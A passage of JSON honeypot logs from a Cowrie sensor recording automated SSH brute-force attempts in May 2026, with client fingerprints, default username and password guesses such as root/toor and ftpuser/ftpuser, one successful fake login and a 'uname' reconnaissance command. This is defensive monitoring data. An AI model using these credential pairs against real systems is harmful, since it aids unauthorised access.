tr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:48.307979Z","src_ip":"83.168.110.85","session":"8871bd432cc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:48.678720Z","src_ip":"83.168.110.85","session":"8871bd432cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:50.036091Z","src_ip":"83.168.110.85","session":"8871bd432cc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45450,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5b70c74e99c","protocol":"ssh","message":"New connection: 83.168.110.85:45450 (159.203.135.109:22) [session: b5b70c74e99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:58.254423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:58.346500Z","src_ip":"83.168.110.85","session":"b5b70c74e99c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:58.403710Z","src_ip":"83.168.110.85","session":"b5b70c74e99c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:58.851093Z","src_ip":"83.168.110.85","session":"b5b70c74e99c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:00.116319Z","src_ip":"83.168.110.85","session":"b5b70c74e99c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50010,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d734211d1fc","protocol":"ssh","message":"New connection: 83.168.110.85:50010 (159.203.135.109:22) [session: 4d734211d1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:08.767889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:08.772799Z","src_ip":"83.168.110.85","session":"4d734211d1fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:08.896371Z","src_ip":"83.168.110.85","session":"4d734211d1fc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:09.258062Z","src_ip":"83.168.110.85","session":"4d734211d1fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:09.542000Z","src_ip":"83.168.110.85","session":"4d734211d1fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:09.544893Z","src_ip":"83.168.110.85","session":"4d734211d1fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:09.667745Z","src_ip":"83.168.110.85","session":"4d734211d1fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:09.673423Z","src_ip":"83.168.110.85","session":"4d734211d1fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":41734,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2e5caabe33b","protocol":"ssh","message":"New connection: 4.184.246.230:41734 (10.17.0.5:22) [session: e2e5caabe33b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:14.312026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:14.317317Z","src_ip":"4.184.246.230","session":"e2e5caabe33b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:14.404055Z","src_ip":"4.184.246.230","session":"e2e5caabe33b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p?ssworD","message":"login attempt [root/p?ssworD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:14.776508Z","src_ip":"4.184.246.230","session":"e2e5caabe33b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:15.867208Z","src_ip":"4.184.246.230","session":"e2e5caabe33b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53984,"dst_ip":"159.203.135.109","dst_port":22,"session":"0782f36d285f","protocol":"ssh","message":"New connection: 83.168.110.85:53984 (159.203.135.109:22) [session: 0782f36d285f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:19.139132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:19.146173Z","src_ip":"83.168.110.85","session":"0782f36d285f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:19.267212Z","src_ip":"83.168.110.85","session":"0782f36d285f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:19.631055Z","src_ip":"83.168.110.85","session":"0782f36d285f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:20.803843Z","src_ip":"83.168.110.85","session":"0782f36d285f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":53652,"dst_ip":"159.203.135.109","dst_port":22,"session":"6708a31d0a2f","protocol":"ssh","message":"New connection: 193.32.162.151:53652 (159.203.135.109:22) [session: 6708a31d0a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:26.129167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:26.169058Z","src_ip":"193.32.162.151","session":"6708a31d0a2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:26.258723Z","src_ip":"193.32.162.151","session":"6708a31d0a2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hms","password":"hms","message":"login attempt [hms/hms] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:26.615065Z","src_ip":"193.32.162.151","session":"6708a31d0a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:27.715331Z","src_ip":"193.32.162.151","session":"6708a31d0a2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34840,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c9712fd4f65","protocol":"ssh","message":"New connection: 83.168.110.85:34840 (159.203.135.109:22) [session: 1c9712fd4f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:29.243153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:29.247790Z","src_ip":"83.168.110.85","session":"1c9712fd4f65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:29.368389Z","src_ip":"83.168.110.85","session":"1c9712fd4f65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:29.734545Z","src_ip":"83.168.110.85","session":"1c9712fd4f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:30.974955Z","src_ip":"83.168.110.85","session":"1c9712fd4f65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46100,"dst_ip":"159.203.135.109","dst_port":22,"session":"a90f8e3d33fc","protocol":"ssh","message":"New connection: 83.168.110.85:46100 (159.203.135.109:22) [session: a90f8e3d33fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:39.898318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:39.903226Z","src_ip":"83.168.110.85","session":"a90f8e3d33fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:40.025033Z","src_ip":"83.168.110.85","session":"a90f8e3d33fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:40.385702Z","src_ip":"83.168.110.85","session":"a90f8e3d33fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.20.86","src_port":55328,"dst_ip":"10.17.0.5","dst_port":23,"session":"38b9ea5d382e","protocol":"telnet","message":"New connection: 104.248.20.86:55328 (10.17.0.5:23) [session: 38b9ea5d382e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:41.047377Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:41.511959Z","src_ip":"83.168.110.85","session":"a90f8e3d33fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37404,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0ce2736dc89","protocol":"ssh","message":"New connection: 83.168.110.85:37404 (159.203.135.109:22) [session: b0ce2736dc89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:50.163089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:50.167882Z","src_ip":"83.168.110.85","session":"b0ce2736dc89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac